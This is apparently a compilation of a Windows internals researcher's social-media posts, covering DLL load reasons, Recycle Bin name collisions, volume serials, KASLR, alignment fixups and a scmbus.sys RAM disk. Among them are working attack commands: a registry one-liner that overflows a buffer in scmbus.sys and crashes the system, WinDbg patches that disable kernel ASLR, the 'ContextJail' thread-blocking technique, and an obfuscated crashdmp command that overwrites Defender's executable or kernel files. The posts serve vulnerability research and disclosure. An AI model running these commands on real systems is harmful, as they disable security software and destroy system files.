sixtyvividtails

You mean DllMain load reason?

0: DLL_PROCESS_DETACH
...
4: DLL_PROCESS_VERIFIER
From ntdll!AVrfpLoadAndInitializeProvider, ctx: [outptr] address of ptr to RTL_VERIFIER_PROVIDER_DESCRIPTOR.

5: DLL_PROCESS_VERIFIER_TABLE
From ntdll!AvrfMiniLoadDll, ctx: address of ptr to RTL_VERIFIER_HELPER_TABLE.

Close your eyes and ✨imagine:

From a low-integrity process (from LPAC even), you can inject your data anywhere you want:
privileged tasks, PPL/protected processes, the OS kernel itself, and VTL1 trustlets.

Now open your eyes. It is not hypothetical.
It is the reality. Read it on page 33.

...and I was wondering why 🌸🌸 count suddenly increased by like 10%; thanks for shoutout! 😸

And it's a great rebuttal, really nice to know forwarders are actually used. It seems some are even used in a pretty good way, like python3.dll -> python3X.dll.

Screenshot of an error message (in French). You can randomly get this message when deleting files/folders to the Recycle Bin. The message is overlayed with manually added picture of shellful Recycle Bin and wondering Shellberus, the three-headed dog. There are other bugs you can find in the recycle bin, but it appears they are either benign, or can't even be classified as bugs, so not worth describing. To quickly check the message you can just generate several thousand files with same ext and delete them to the recycle bin (delete the files themselves, not their containing folder). For 50% message chance you need about 54933 files: @for /L %i in (1,1,54933) do @echo %i_%time%>%i.txt Name generation is truly random: CRecycleBinBase::RecycleItem -> _MakeRecycleItem -> _PreRecycleItem -> _CreateRecycleItemPath -> GenRandomFileName -> BCryptGenRandom

Error you may randomly get anytime you delete stuff: błąd 0x80070050.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).

Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.

Algo for computing volume serial and various other info. Note if 7 minutes is enough for you 😼, you can preimage the hash instantly (2-6 close values). Edit your serial via NtWriteFile("C:",buf,0x200), or via Sysinternals VolumeId.exe. But then we can detect tampered serials! Only 0x7F80094B values are "genuine" (out of the full 2⁶⁴ space). uint compute_volume_serial32(uint srcId = 0) { uint id = srcId; while (!id || id == 0xFFFFFF80) { uint64 time64 = KUSER_SHARED_DATA.SystemTime; id = (uint)time64; if (!id) id = (uint)(time64 >> 0x20); } for (uint i = 0; i < 4; ++i) id = rotr(id + (uchar)(id >> (8 * i)), 2); return id; } uint64 compute_volume_serial64() { uint dword0 = compute_volume_serial32(0); // 0x7F80094B values uint dword1 = compute_volume_serial32(dword0); // 0x3FC12F4F values return ((uint64)dword1 << 0x20) | dword0; } Set new serial: NtWriteFile(`\??\C:`). No slash. You may need to write entire sector. Get 32-bit serial: dir C: Get 64-bit serial: fsutil fsinfo ntfsinfo C: Get 64-bit serial w/o admin rights: $b=[int64[]](0,0,0);` $f='NtQueryInformationFile';` (Add-Type -m "[DllImport(`"ntdll`")]public static extern int $f(IntPtr h,int[]s,long[]b,int L,int C);"x -pas)::` $f([IO.FileStream]::new("$env:windir\win.ini",'Open','Read').Handle,(0,0,0),$b,24,59);` '{0:X016}'-f $b[0]

What is Volume Serial Number (aka VolId/VolumeId)?
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".

But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.

Well, at least exports are not rebuilt in some appended section, so we can add a few extra points of credibility. 😽

Ooh! Wow! But it's it Real? 🤭
It's hard to imagine why would RealTek make something like that. On the other hand, if it was edited with malicious intent, what was even the purpose?..
I don't have access to VT nowadays, would be interesting to check out.

Hypothesis: no legit vendor beside Microsoft makes dlls with forwarded exports.

Relaunch feature is funny, didn't expect it.
Btw, this app is called servercoreshell.exe because it's a shell.. on a Server Core SKUs. Yeah, that gui-less OS versions where even explorer.exe binary is absent by default.
The calcflood happens coz calc terminates (after launching own lesser clone). 😺

🔙🕛1582⚡

Set-Date 1601-10-08;if($?){$b=60*24*365*19;`
$x={Add-Type -m "[DllImport(`"ntdll`")]public static extern int $f(int a,int$args b,int c,int[]d);"$f$f -pas};`
$f='RtlAdjustPrivilege';(&$x)::$f(34,1,0,0);`
$f='NtSetSystemInformation';(&$x [])::$f(93,(,$b+(,0*42)),172,0)}

(that kills your app)

Windows SystemTime is # of centums (100ns units) since 1601-01-01. Thus NtSetSystemTime(&zero) only gets you to 1601.
We need extra 19 years!

💡 No UTC in 1582 yet: we can make use of Local Time.
Use SystemTimeZoneInformation to set Timezone Bias: ±68 years (±2³¹ s), 60s grain.

Enjoy your weekend 😺

Greetings, fellow timetravelers. Today is Monday.
But if I could convince Pope Gregory XIII not to skip weekdays @1582-10-15, today could still be Friday!

But there's a problem. To meet Pope, I gotta set clock on my Windows to the year 1582, yet it refuses: only allows 1601.
How to set it to 1582?

Hey, don't play the UNO reverse card on me here! It is the challenge, to determine what is the intended purpose and meaning of the returned value. What score did you get here, 80? Less? That's okay, one of my old computers got 23. 😂

Cirno being smug about getting very high IQ scores for her PC. Or may be she's sly for tricking you into running unknown powershell script on your host! Cirno art by みず https://www.pixiv.net/en/artworks/98071482 https://twitter.com/mizillustration The challenge: try to deduce or even what real metric the snippet calculates. But feel free to also just post your scores! Hints: 1. It's real. 2. Only works on Windows. 3. It doesn't BSOD your system. 4. The metric is for the current boot session, and it is dynamic. 5. Just like with a real IQ, your score should be in the range of about 10 to 199.9 😸. Most likely you'd get score below 60 lol, may be even 20 or so. But do not worry: that score is for your PC, not for you personally; your own IQ might be higher. Scores above 120 are quite rare for client OS!

Finally, a script to estimate IQ of your PC!
Copypaste it into powershell console, get instant result!

$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)

Is your PC smart?
Can you deduce what is that metric?

Decompilation of nt!KiOpPatchCode, with callstack. In text form: https://pastebin.com/X9BaUxhh Yes, you can detect unsolicited int3 presence using this facility, but that's about it. May be also do a party trick with racer thread which modifies seemingly non-writeable "RX" page (during short period when oskernel secretly makes it RWX). There doesn't seem to be any issues with instruction decoder and "emulator" which would enable things not allowed already to native code. Except may be that sus KiOp_Mov, but it's only for ring0 anyway. To look further, see nt!KiOp* funcs and data.

Windows can seamlessly patch your code when it catches #GP. So called "alignment fixup".

KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.

Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.

Several screenshots combined. 1. Cmd with registry write commands for the scmbus.sys driver. 2. Resulting immediate BSOD (well, not immediate if scmbus.sys was running already). 3. Decompilation of relevant code. 4. Dynamic analysis of the failure in Windbg. It appears scmbus.sys is not just a free nvdimm emulator with a dax RAM drive, it might also be a free admin-to-kernel BYOVD (Bundled Yet Ostensibly Venial Driver). Here's just one example, classic buffer overflow. Enabled by insane mad hacks in RtlQueryRegistryValuesEx, and Microsoft ignoring its own advice for that api use.

…or #bsod instead:

cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"

Make pmem/nvdimm #dax RAM📀, 0x1234_MB:

cmd /v/c"set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /v&!R! CreateSimulatedRamdiskRootDevice /t 4 /d 1 &!R! RamdiskSizeInBytes /t 11 /d 0x123400000 &sc start scmbus"

mb reboot; partite, and
format X: /fs:ntfs /Q /L /DAX

Collage of screenshots showing how to enable emulated ramdisk and set its size via registry parameters for scmbus.sys. Also shown: how to create partition and properly format the DAX volume. 1. Create ramdisk of 0x1234_MB: cmd /v/c"set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /v&!R! CreateSimulatedRamdiskRootDevice /t 4 /d 1 &!R! RamdiskSizeInBytes /t 11 /d 0x123400000 &sc start scmbus" (reboot required, unless you're lucky). 2. Create parition as usual: list disk select disk NNNN convert gpt create partition primary assign letter X: 3. And format volume with DAX support: format X: /fs:ntfs /Q /L /DAX

Did you know Windows has built-in RAM disk?
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!

That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:

ntoskrnl #kASLR 🚫:

r$t0=0;# and*77FFFF winload!MmArchInitialize L200;r$t0=@$exp;.while(by(@$t0)){r$t0=@$t0+1};ed@$t0-3 0;
ed MmArchKsegAddressRange 0 FFFFF800;
r$t0=SymCryptRngAesGenerate;ed@$t0 33CA8B48 E9D2;ed@$t0+6 memset-@$t0-A;

ed OslGatherEntropy C3C033;
ed BlArchGetPerformanceCounter C3C033

dumpbin.exe /loadConfig ntosknrl.exe File Type: EXECUTABLE IMAGE Section contains the following load config: 00000140 size ... // +78/C0, not used anymore 0 DynamicValueRelocTable ... // +88/E0; offset in section, normally right after the regular relocs 00005C8C DynamicValueRelocTableOffset // +8C/E4; 1-based section index, normally it's .relocs 0024 DynamicValueRelocTableSection ... Symbol VA: FFFFDE0000000000 Fixup RVAs: [00000000] = page 00201000 rva 00201B94 type 0 [00000001] = page 00204000 rva 0020430D type 0 ... ntoskrnl.exe 24H2 has 9 dynamic value fixups: 0xFFFFDE0000000000 MM_PFN_DATABASE, 1264 refs 0xFFFFF68000000000 PTE_BASE, 1011 refs 0xFFFFF6FB40000000 PDE_BASE, 64 0xFFFFF6FB7DA00000 PPE_BASE, 6 0xFFFFF6FB7DBED000 PXE_BASE, 192 0xFFFFF6FB7DBEDF68 PXE_SELFMAP, 85 0xFFFFF6FFFFFFFFFF PTE_TOP, 129 0xFFFFF6FB7FFFFFFF PDE_TOP, 10 0xFFFFF6FB7DBEDFFF PXE_TOP, 48 SecureKernel.exe 24H2 has 13 dynamic value fixups: 0xFFFFE80000000000 SKMM_PFN_DATABASE, 142 refs 0xFFFFEFFFFFFFFFFF SKMM_PFN_DATABASE_END, 117 0xFFFFF60000000000 SKMM_NTE_BASE, 93 0xFFFFF67FFFFFFFFF SKMM_NTE_TOP, 41 0xFFFFF68000000000 SKMM_PTE_BASE, 372 0xFFFFF6FB40000000 SKMM_PDE_BASE, 6 0xFFFFF6FB7DA00000 SKMM_PPE_BASE, 2 0xFFFFF6FB7DBED000 SKMM_PXE_BASE, 712 0xFFFFF6FB7DBEDF68 SKMM_PXE_SELFMAP, 10 0xFFFFF6FB7FFFFFFF SKMM_PDE_TOP, 1 0xFFFFF6FFFFFFFFFF SKMM_PTE_TOP, 55 0xFFFFF78000000000 KI_USER_SHARED_DATA, 150 (writeable) 0x000000007FFE0000 0x7FFE0000 KI_USER_SHARED_DATA_R3, 2 (readable)

There are lots of misoptimisations in the OS kernel with /dynamicValueFixupSym.

E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.

Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.

1. Pause thread midway in exploit races (even ⓪).
2. Or block entire CPU core. Kernel APCs run at APC_LEVEL (🤯), so thread scheduling kinda disabled (think priority == ∞).
3. Or build upon @hasherezade.bsky.social work & generalize #WaitingThreadHijacking — making it, in fact, Waitless.

Screenshot of contextjail.exe running with default arguments. Highlighted: * prisoner thread (latched to CPU1 with priority 15) couldn't run for the entire test duration (30 seconds). * 99 jailer threads (latched to 6/8 processors, CPU2..CPU7) were using 20% of total CPU time. Overlay: pseudo-ASSCII art with prisoner thread and 6 jailer threads (guards), spamming NtGetContextThread to block the prisoner. Source and compiled binary: https://pastebin.com/pBJcGp1y

Heard of #ContextJail?
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.

The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.

Src & binary in [ALT].

Usecases: ⤵️

Part1: Decompilation of winload!MmArchInitialize, where MmArchKsegBias is selected as random value in the range [0; 0x77FFFF000]. So, from 0 to 30 GB (0x1E GB). That value is used to bias MmArchKsegBase, which gets put into MmArchKsegAddressRange.Minimum. And that var is utilized for virtual address allocations, including VAs for images like ntoskrnl.exe. Part2: Part of nt!MiAssignTopLevelRanges decompile. There we can observe BaseVa for AssignedRegionSystemImages VA region type gets assigned as current imagebase of the ntoskrnl, aligned down by 512_GB. Since BaseVa is explicitly assigned, function will skip call to MiAssignSystemVa() for that region type. So despite randomization of relative starts of most of the 0x12 regions in win11 24H2, we can assume that they all aligned by 512_GB (or 256_TB for LA57), and "AssignedRegionSystemImages" region type always starts at 0xFFFF_FF80_0000_0000. And we can also assume ntoskrnl always starts in the first ~30.5_GB of that region.

Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.

So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!

That's just how winload.efi randomizes MmArchKsegBias.

#KASLR #0xFFFFFF8000000000

WinDbg script to check kCFG target function validity, and also to dump actual cfguard bitmap (which can be quite different from what's specified in the image GFIDS, needs more research): pastebin.com/64kujJNb.

!check_cfguard "nt!longjmp"

!dump_cfguard_bitmap "nt", "C:/cfguard_bitmap_ntoskrnl.bin"

Oh no, be careful! This creature may look cute, but that calm smile hides something cunning and unpredictable!

🔥 article, excellent feats overview & native bypasses!

You have a race in dll btw, "Start" vs event create.
Just create it in DllMain (safe, as MS "Dll Best Practices" is outdated af, full of atomic 🐂☣️).
Alt: `#pragma comment(linker, "/export:Start=kernel32.SleepEx")`: 10 mins enough for anybody 😹.

Upon boot crashdmp.sys has clobbered MsMpEng.exe, destroying & resizing it to 666 MB. It also still holds the file handle, with NONE share access. ▸ No system crash needed, only reboot. ▸ In fact, with SystemCrashDumpStateInformation/SystemCrashDumpReconfigure, you don't even need reboot; so you can overwrite/delete as many files as needed. Thanks imag0r for that discovery & POC: https://github.com/imag0r/Sweeper3D ▸ Defender is just an example; today it should work against almost anything. ▸ Targetting ntoskrnl.exe or ntfs.sys makes current boot session the last one (works fine till reboot). ▸ Targetting securekernel or hvix/hvax effectively disables IUM or Hyper-V. ▸ This trick might still fail against some in-use files, with IoCreateFile returning STATUS_SHARING_VIOLATION. ▸ Command is designed to be pasted into Win+R [Ctrl+Shift+Enter], or into an elevated cmd.exe. ▸ Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways. ⚠️ Administrative access required. LPE exploit not included, and sold separately where legally available. Consult your local security specialist before use. Side effects may include boot failures and audit logs. Void where prohibited. 📋 crashdmp.sys IoCreateFile call: ▸ access: 0x150003, read|write|delete|write_dac|sync ▸ file share flags: 0, file_share_none ▸ file attributes: 6, hidden|system ▸ create disposition: 0, file_supersede (create/replace) ▸ io options: 0x0102, io_open_paging_file|io_no_parameter_checking ▸ create options: 0x900A, write_through|no_intermediate_buffering|delete_on_close|no_compression 💻 Simplified command sequence example: set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v %R% CrashDumpEnabled /d 7 /t REG_DWORD %R% DumpFileSize /d 666 /t REG_DWORD %R% DedicatedDumpFile /d "%windir%\system32\securekernel.exe" Bonus: 🕵️ Spot at least one of reg.exe tricks I've used in the main post; call it out in the reply to get a cat emoji!

Is your EDR a dump?
With crashdmp it literally is:

cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"

Stack /GS cookie - GuardStack "__security_cookie" - has protected NT for nearly 25 years.

Do you know why higher word zeroed in 64-bit 🍪? Yep, it's against attacks like strcat/wcscat. But did you realize that's 𝗵𝗮𝗹𝗳-𝗯𝗿𝗼𝗸𝗲𝗻?!
Yes, xoring "0000" with ⓪ RSP gives "FFFF" 😹.
…and it's worse with LA57.

Part of KiUpdateTime function, which uses KeQuantumEndTimerIncrement (1.74 ms) to prepare info for next timer interrupt deadline. Function runs on every CPU, resulting in constant clock timer interrupts at least every 2 ms on each and every CPU. Below left: callstack for that func. Bottom left: bonus, part of KeInitSystem func which sets up KiCyclesPerClockQuantum. Bottom right: log of last 0x10 clock interrupts across all 4 CPUs.

New function in 24H2: KiQueryQuantumReset. Complete code provided (not much of it 😸). Highlight: potential bug in PspComputeQuantum for IDLE priority class processes.

24H2 has reduced KiCyclesPerClockQuantum by a factor of 6 - from ~(15.625/3) ms to ~(15.625/18) ms.
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.

But WTF: clock interrupts every 2 ms across *each* CPU!

Downshifting, huh? 🙌